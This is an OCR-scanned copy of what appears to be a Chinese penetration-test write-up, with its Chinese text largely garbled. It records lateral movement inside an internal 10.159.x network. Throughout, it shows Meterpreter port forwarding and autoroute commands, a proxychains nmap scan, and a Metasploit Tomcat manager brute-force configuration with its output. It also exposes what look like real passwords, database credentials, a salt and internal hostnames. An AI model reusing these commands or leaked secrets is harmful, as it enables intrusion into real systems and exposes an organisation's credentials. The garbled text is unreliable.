portfwd add -L 0.0.0.0 -p 80 -r 10.159.191.232 -1 144

com/s/lhro¥uUm4
http://pan.baidu.com/s/lgezQrif
http://pan.baidu.com/s/lbopjelp
http://pan.baidu.com/s/1lbogvBXl
http://pan.baidu.com/s/1allJov]
http://pan.baidu.com/s/1lkUkPchh
http://pan.baidu.com/s/l1ECeXw
http://pan.baidu.com/s/lefUeanc
http://pan.baidu.com/s/lskx4cah
http://pan.baidu.com/s/1lnuiJeJ3
http://pan.baidu.com/s/1i3Pol6H
http://pan.baidu.com/s/lbaXxIw
http://pan.baidu.com/s/lbomlozF

administrator@i5: Stor@ge!
IPihiit: 10.159.16.2
#19: 255.255.255.128

RIFELRER S, NET WA, JH iR AR (E B 2T N S iR -
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A0 © ¢ B &§ @ €0

10.159.191.218/0S5check/illitid Rbakup/

@ @& [ 8%vE- [09F- O RFREs - 0 x3ee - 0] 9%3% - [0 IRAW - [ AR - O @85 - 00 ¥I968 - @ 2nes [ 588 - [ 98%4 -

Name Last modified Size Description

& Parent Directory

@ B AR xlsx 29-Jan-2016 11:33 17K
@ AR AR xlsx 29-Jan-2016 11:33 13K
ﬁ 2014972167067, WAL R zip 29-Jan-2016 11:33 97K
*} 2014@72&2Hbf A EE SR 2 29-Jan-2016 11:33 97K
ﬁ 2014972€71€7, kLR zip 29-Jan-2016 11:33 99K
i 201492202502 b RIGEEE zip 20-Jan-2016 11:33 36K

23201 SE12H290 bl i IFiGE R/ 29-Jan-2016 11:33

ﬁ 2015€?2€»20€? bl WG R zi 29-Jan-2016 11:33 69K
ﬁ 20159262167 bl WHEEE R 20 29-Jan-2016 11:33 92K
ﬁ 2015@ 29?5 HFTE R ESFMEHE R 2zip  29-Jan-2016 11:33 111K
ﬁ 201 WAGER zip  29-Jan-2016 11:33 161K
ﬁ 201 WHGHER zip  29-Jan-2016 11:33 115K
ﬂ 20159792767 WAREESR zip  29-Jan-2016 11:33 144K
ﬁ 20159@72¢ 2897 b AL R 2] 29-Jan-2016 11:33 48K
@ 2015€?2€273€7 bl WG R rar  29-Jan-2016 11:33 92K
ﬁ 20159267367 bl WHEEE R 20 29-Jan-2016 11:33 93K
ﬁ 201592972907 b AL R 2] 29-Jan-2016 11:33 110K
ﬁ 201592062067 b WHEER zip 29-Jan-2016 11:33 118K

ﬁ 201592067547 fiE IRFIFMEER 2ip 29-Jan-2016 11:33 164K
ﬁ 20159712097 bi WHEER zip  29-Jan-2016 11:33 145K
ﬁ 20159167667 AL R zip 29-Jan-2016 11:33 198K

ﬁ 201597267547 fiE RFIFMEER 2ip 29-Jan-2016 11:33 193K
ﬂ 201597227967 bR AR E2FWHER 2ip 29-Jan-2016 11:33 136K

ﬁEO‘I 747 AL EER zip 15-Feb-2016 16:43 174K
B ERFAF POESSRERE
g i HE
F . % ReE Mz (A=) ar] | Bl = = [=m E &
' L & = = = = - .. g mmm
E & B I U - |bid- v A M < 9= S o g8 v 9% ooo 2 +.0 7 e
Al - frx  IPHEHE
A B C D E F G H I ] K L |
1 |IPHalt CEUAL R ) 77 R | s | R i | R e ) L | e S et i e R ) e It e | il b 1 8 U s By o s b
2 |10.159. 36. 180 [iE#& iR EH 116%  |IE# e e & J& Ji & # I
3 |10. 159. 36. 181 |iE#® iR ER 116F%  |E#® e o 2= 7= 7= = jit HILF
4 |10, 159, 36, 182 | iE#® E# E# 116% |E# #£ = i 2 i i 2 HILF
5 |10, 158, 36, 183 [iE® E# E# 116% |E# = i = i i i i T
& |10, 159, 36. 184 | IE# ER E# 1167 IF# = s = 7= 7= 2= 2= EFE
7 |10, 159, 36. 185 |iE# IER E® 1167 IE# = = = 7 2 & 2 I
B |10. 159, 36. 186 |iE& ER EH® 116K  |iE® = = =2 2 i b i I
9 |10. 159. 36. 187 |iEE IE® E#® 116%  |IE® = = = 2= Ji fi # XL
10 | 10. 159. 36. 188 |iE& IE# E® 116%  |IE® e = JiE J& Ji Ji i XTI
11 |10. 159. 36. 189 [iE#® iR EH 116%  |IE# e e & J& Ji i # I
12 |10, 159, 36. 190 [iE® iR EE 116K |E# e o 2= Jz Ji i jit HILF
13 |10. 159. 36. 191 |iE& ER ER 116F%  |E#® & 2 2 2 7 & it T
14 |10. 159, 36, 192 [iE& E# E# 116% |F# E E 7 = = i 2 FEILE
15 |10. 159, 36, 193 [iE# E® E# 116% |E® X £ 2 = = £ £ EIL
16 | 10. 158, 36. 194 |iEE ER EH® 116K |IE® = = JiE & i b i I
17 | 10. 158, 36. 196 |iE& ER E#® 116K |IE® = = JiE & i b i I
18 | 10. 158. 36. 197 [iE# IE® E#® 116%  |IE® = = i J& Ji fi # XL
19 |10. 159. 36. 198 [iE#® iR EH 116%  |IE# e e & J& Ji i # I
iE iE# IE# IE & 2 '&r i ;t?t"i‘
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ece . Marathon ® | & Storm Ul ® # EHIER ® )u' Index of jtest ® .".\ +

# B> © ¢ & € (0 10.158.191.218/test/
@ @ E BRinE - O BF - [ BEREs - [ iR - [ 8351% - [ IBRAW - [ 28Rl - O B8FE - O 23R - @ Snies 0O 584

Index of /test

Name Last modified Size Description
¥ Parent Directory -
@ Windows Server 2008 R2 +server 2012 = mn TEIMHLEE) docx 26-Nov-2015 15:54 3.7M

Apache/2.2.15 (CentOS) Server at 10.159.191.218 Port 80

MRS AR AR BT

AT sekskskok@tokskokok | kokokokok

administratorZfg: skkkk # EESIETERZXD, T
IP#hiit: 10.159.16.2

¥R 255.255.255.128

Mx: 10.159.16.1

BRFR: skkkk. com

AP sk | kokokokk BRI skoksksksk

ITENSE:

FRAEEE RS TIEEBTR: soorkk. com
IP#bdik: 10.159.16.2

¥f9: 255.255.255.128

M>*: 10.159.16.1

BIEZ S Windows Server2008 R21dMIER
ARSI 1-BEET =A

TEMRZ: nasclusterl
FRTEE RS TIEHABFR: *okrokk. com
IPibik1: 10.159.16.3

IPibk2: 192.168.10.3

BRIEZ LS Windows Server 2012
RS 232-BEE T =B

ITHEHEZ: nascluster?
FRES R TIEHARBRTR: soktokk. com
IPibik1: 10.159.16.4

IPihik2: 192.168.10.4
BIEZ S Windows Server 2012

AR Z AT AR 0T R W, FRATAAL T B ) A AR 2o Bl I HLAEAS AT AR R 55
WA, BOE Y AR S5 s A Es ] AT 8 %

https://payloads.online/archivers/2017-12-28/1

28/36



2019/2/21

EXTEN— KT R BIE - 588 - BUE A

~ fusr/local/Cellar/proxychains-ng/4.12_1/bin/proxychains4 nmap 10.159.16.2 -p 3389

[proxychains]
[proxychains]
[proxychains]

Starting Nmap
[proxychains]
[proxychains]

config file found: /usr/local/etc/proxychains.conf
preloading /usr/local/Cellar/proxychains-ng/4.12_1/1ib/libproxychains4.dylib
DLL init: proxychains-ng 4.12

7.60 ( https://nmap.org ) at 2818-01-04 11:10 CST
Strict chain ... LA W ©':1080 ... 10.159.16.2:80 <--socket error or timeout!
Strict chain ... 1 B "™:1080 ... 10.159.16.2:3389 ... OK

Nmap scan report for 10.159.16.2

Host is up (1.

2s latency).

PORT STATE SERVICE

3389/tcp open

ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 1.82 seconds

W PR A Bl R

o —ERAH]MH
. —BRLCX

Windows Server 2008 =i @FEDL <« B

BEM EHO
AXE =

rrrrrrrrr

B 2 s RESR
£ ms
= d moFmeLoscLIg
= @ 2BE%
s Bt
5 ERBHEE
-

EETEATRCC arows

Ii] o

YT EEIFRA L L HRE, FEREBR TR T, FOARXANRARK, J5TH & B

SR
0x10 ML
Orion

RS Y P48 90 PR RERIR e PRAR A o iR P ) DL ) R s R
W1 H ORI ARG R R PPR OUNHR R BB TRl IRGSa AP IR
SNMPH 55 I35 8 [FIRHR 4R AVIF CPU R A7 TG B0 LURe vl ATl
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ece Marathen x | & Storm Ul x | £ =P ® Index of ftest % Orion Network Performanc... % | SHRET ®

# H > © ¢ & @ (€ ) ® & | 10.159.191.223/Orion/Login.aspx?ReturnUrl=%2fDefault.aspx

@ o [EeRBE - R - 0 20RES - OO #iwse - [0R%3I% - [0 TAMN - 0O #HAEE - OO 88FE - OO 256 - @ BNeE O Eeek - O 9e8d -

Qrion Network Performance Monitor

User Name:
Password:
LOGIN

@ You can log in with the User Name Admin and no password.

You should set a password for the Admin account after you log in.
Select “Admin” from the menu bar after you log in.

L2 4N

& 3 > © ?,’ & € | (0 10.159.191.223/0rionfSummaryView.aspx?viewid="1&netobject=

@ G [ EwAE - [O85 - [ SR - [ fiee - [ 885% - [ TARN - O BHAE - O] BSFEE - [0 SO - @ mees O ERER - ] oeRa-

1itor

views: Home Top10 Events Alets Sysiog Traps Wireless Overview Reports

Network Summary Home

All Nodes MAMNAGE NODES || EDIT | HELP Network Map EDIT | HELP
GROUPED BY VENDOR, STATUS

= @ Cisco
-9up

©Beiding mm r-DC-ASAS585K
@cn_pek wijf02D_M_CS 0; '@ "com
@cn_pek wijfd2D_n_CCS01 ’
@ cn_pek_wijfo2D_n_CCS02 @
©cn_pek_wiif02D_w_CCS01 Hew Yark|
©cn_pek_wiifo2D_w_CCS02
@ Internet_Access SW1
D Internet_Access_SW2 - » .
@ ReSource_93128_Primary q [ = L4

All Triggered Alerts EDIT | HELP
ALL TRIGGERED ALERTS

TIME OF ALERT NETWORK DEVICE CURRENT VALUE MESSAGE

Event Summary EDIT | | HELP This map is not live.
TODAY Use Orion Network Atlas to create your own network map.

4 Interface Changed » Download Metwors Atlas to edit your map.

3 Interface Down

[

1 Interface Up Interfaces with High Percent Utilization EDIT || HELP

1 AMert Triggered

LA 44 R IR R A A A OB B k. AL

[

BB Kk

o EERAZHAHL (LL)
o NMZLAHL x 2

o SR x 2

© NPIHEAZHHLx 2

B (XAARIEE)

B EHES0N A LLE
I 2 i SR B HOR T
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[*] AutoAddRoute: Routing new subnet 10.0.0.0/255.0.0.0 through session 9
[*] AutoAddRoute: Routing new subnet 10.159.0.0/255.255.128.0 through sessio

n 9

[*] AutoAddRoute: Routing new subnet 10.159.63.128/255.255.255.128 through s

ession 9

[*] AutoAddRoute: Routing new subnet 10.159.128.0/255.255.128.0 through sess

ion 9

[*] AutoAddRoute: Routing new subnet 10.159.191.128/255.255.255.128 through
session 9

[*] AutoAddRoute: Routing new subnet 169.254.0.0/255.255.0.0 through session
9

[*] AutoAddRoute: Routing new subnet 192.168.0.0/255.255.0.0 through session
9

10.0.0.0 #& 0] LLij R #EANE RN R, 738 SE A X B A5 BRI, AS7Z A3 HAh R Al
%ﬁﬁ~ﬁ§m%ﬁ$%%o

Ox12 e &S| &RE

you IMa P LUYLiis Ul ULUs Ul ULUDGLGJUU | LET QL LUl y

= conTig.properties

ysql
=com.mysql.jdbc.Driver

=jdbc:mysql:/ /Bl L " ".3306/jsh_test?useUnicode=true&characterEncoding=UTF-8
=jan
=jsh#123!good

A HMN O "3 & € | (0 | 10.159.165.96/piwik/config/config.ini.php
@ @ @exwE - [OBF- OO EsREs - O &fee - CIE%31% - [ TEAN - OO R8AN - O REFHE - O 23960 - & 2nes O EaEs - O 9883 -

; <?php exit; ?> DO NOT REMOVE THIS LINE

; file automatically generated or modified by Piwik; you can manually override the default values in global.ini.php by redefining
[database]

hest = "127.0.0. 1

username = "root

password = "Diyroot?123456"

dbname = dlytrack

tables_prefix = "diy_"

[General]

salt = "lebfe3021f18bdf5967d9b9badff864a"
trusted_hosts[] = "123.103.113.75"
trusted_hosts[] = "piwiktest.haier.net"

force_ssl =1
assume_secure_protocel = 1

[PluginsInstalled]
PluginsInstalled[] = "Diagnostics”
PluginsInstalled[] = "Login"
PluginsInstalled[] = "CoreAdminHome"
PluginsInstalled[] = "UsersManager"
PluginsInstalled[] = "SitesManager”
PluginsInstalled[] = "Installation”
PluginsInstalled[] = "Monolog"

A ARMAL R I IEF Docker S HFE H P 5 -
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Suspended redis.

Applications
elasticsearch

Applications > ucloud > bigdata
id-service

Applications > ucloud > bigdata
log2kafica

Applications > ucloud > bigdata
query.service

Applications 3 ucloud 5 bigdata
vds.api

Applieations > ucloud 3 bigdata
frontend.lb

Applications > ucloud > Ibexterna
marathon.lb

Applications > ucloud > Ibexterna
marathon.lb

Applications 5 ucloud 3 lbinternal
accounts.

Applieations > ucloud > mid-end
backend

Applications > ucloud > mid-end
charts-service

Applications > ucloud > mid-end
frontend

Applications > ucloud > mia-end

e 00 0B P e e e e

ications > ucloud > mid-end

HZASB . 533 TR R S5
BB O REEE R, Mg SR 1R P R T XK

mi

@ [ ReE - RS- O 2FREE - 0O ~ CO#R3%¥ - 0O IRFER - O %R - O @8FE - 0 29R% - & Bnes [ ARk - 0O 588

GIO_CONTAINER_NAME=growing-accounts
GIO_JMX_PORT=8903
GIO_LOG_DIR={app/logs
GROWING_ACCOUNTS iEEEEsEmmE N
GROWING_FRONTEND! L
MAIL_KEY=

MAIL_PORT=25

MAIL_SENDER~EE ..
MAIL_SMTP=10.135.1.238
MAIL_USER_INFO M= R =
MAIL_USER_NOTIFICATION: JiM "=, o
PORT=80

REDIRECT_URL=https: " Sy i p—
REDIS=10,159.37.104

REDIS_DB=7

SALT=+seebvbesdh0G

SMS_PASS=

SMS_USER=

SMS_YP_APIKEY=blank

[

{
"port": 10004,
"protocol™: "tcp",
"labels": {}

}

{
"port": 10085,
"protocol™: “tcp",
"labels": {}

HRK—SE W Bt AR #9246 T tomcat |, g socks5 (R,
Meterpreter, [ A4k
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msf auxiliary(tomcat_mgr_login) > show options
Module options (auxiliary/scanner/http/tomcat_mgr_login):

Name Current Setting
Required Description

BLANK_PASSWORDS  false

no Try blank passwords for all
users
BRUTEFORCE_SPEED 5
yes How fast to bruteforce, from
0 to 5
DB_ALL_CREDS false
no Try each user/password coupl
e stored in the current database
DB_ALL_PASS false
no Add all passwords in the cur
rent database to the list
DB_ALL_USERS false
no Add all users in the current
database to the 1list
PASSWORD
no The HTTP password to specify
for authentication
PASS_FILE /Volumes/0SXData/Pentester/Dict/100. txt
no File containing passwords, o
ne per line
Proxies S0CKS5 1 kkok , ook, ook, skokok 1 1080
no A proxy chain of format typ
e:host:port[,type:host:port] [...]
RHOSTS 10.159.63.70-133
yes The target address range or
CIDR identifier
RPORT 8080
yes The target port (TCP)
SSL false
no Negotiate SSL/TLS for outgoi
ng connections
STOP_ON_SUCCESS  false
yes Stop guessing when a credent
ial works for a host
TARGETURI /manager/html
yes URI for Manager login. Defau
1t is /manager/html
THREADS 10
yes The number of concurrent thr
eads
USERNAME
no The HTTP username to specify
for authentication
USERPASS_FILE /opt/metasploit-framework/embedded/framework/data/wordl
ists/tomcat_mgr_default_userpass.txt no File containing users and pa
sswords separated by space, one pair per line
USER_AS_PASS false
no Try the username as the pass
word for all users
USER_FILE /opt/metasploit-framework/embedded/framework/data/wordl
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ists/tomcat_mgr_default_users.txt

er line
VERBOSE

all attempts

VHOST

msfconsole

msf auxiliary(
PROXIES => socks5:118.190.260.77:1088
msf auxiliary(

10.
1a.
10.
18.
18.
10.
1a.
18.
18.
1a.
10.
18.
18.
10.
1a.
18.
18.
1a.
10.
18.
1@.
10.
1a.
18.
18.
1a.
10.
18.
18.
10.
1a.
10.
18.
1a.
10.
18.

159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.
159.

MR,

R, WA HE

Ox13 %

63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:8088
63.90:80880
63.90:80880
63.90:8080
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:8088
63.90:80880
63.90:80880
63.90:8080
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:8080
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:80880
63.90:80880

true

BAEREEIHR, WA T :

EXTEN— KT R BIE - 588 - BUE A

) > set
) > run

FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:
FAILED:

BA— I, R T —SSHIRH , {HRSIURET &, ik —
X PR TE T

TEEENER

no File containing users, one p
yes Whether to print output for
no HTTP server virtual host

fg J ~/Pentesterfev

PROXIES socks5 HH & Bl " :1080

admin:admin (Incorrect)
admin:manager (Incorrect)
admin:rolel (Incorrect)
admin:root (Incorrect)
admin:tomcat (Incorrect)
admin:s3cret (Incorrect)
admin:vagrant (Incorrect)
manager:admin (Incorrect)
manager :manager {(Incorrect)
manager:rolel {(Incorrect)
manager:root (Incorrect)
manager :tomcat (Incorrect)
manager:s3cret (Incorrect)
manager:vagrant (Incorrect)
rolel:admin (Incorrect)
rolel:manager (Incorrect)
rolel:rolel (Incorrect)
rolel:root (Incorrect)
rolel:tomcat (Incorrect)
rolel:s3cret (Incorrect)
rolel:vagrant (Incorrect)
root:admin (Incorrect)
root:manager (Incorrect)
root:rolel (Incorrect)
root:root (Incorrect)
root:tomcat (Incorrect)
root:s3cret (Incorrect)
root:vagrant (Incorrect)
tomcat:admin (Incorrect)
tomcat:manager (Incorrect)
tomcat:rolel (Incorrect)
tomcat:root (Incorrect)
tomcat:tomcat {(Incorrect)
tomcat:s3cret (Incorrect)
tomcat:vagrant (Incorrect)
both:admin (Incorrect)

ﬁ

o JIRS5 AR LA BT E W B B AT A L

* k%
« k%

5 ARPZEAT
2 LRSS

o M HAMHTTPARSS
o A ZF HMIREFLEGIT (MS17010 / 445)
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o MEBRFRILRRALER (T/HAZEARP %@#@@651 (https://twitter.com/651)
Q" #Q@#@@###@@!)
o JLmiE
° Y

OX14 1L,\,|:|

o HEATBNZAIRE ILa4h, AIAEIFMIME

o FEH—AN N A fRYL T SR B

o REPEIE MBI -> (AT IR EEHER T RG]
o % H Ak BN 2 (R R R

o BTMIEI. TR, HBA R AVLAN

o WEHLH ORI TE B4

o ML — g EH

o XFFJE T E Rt

o PRILIRPRIEVRAE S 98 % B ) [ HRAE T A fA ]

o £ 3]{fi F Powershell I35 3 4z v [ 55 &

W@RvnOxsy (https://twitter.com/Rvn0Oxsy) QR code

3. https://payloads.online/archivers/2017-12-28/1
% 28-Dec-17
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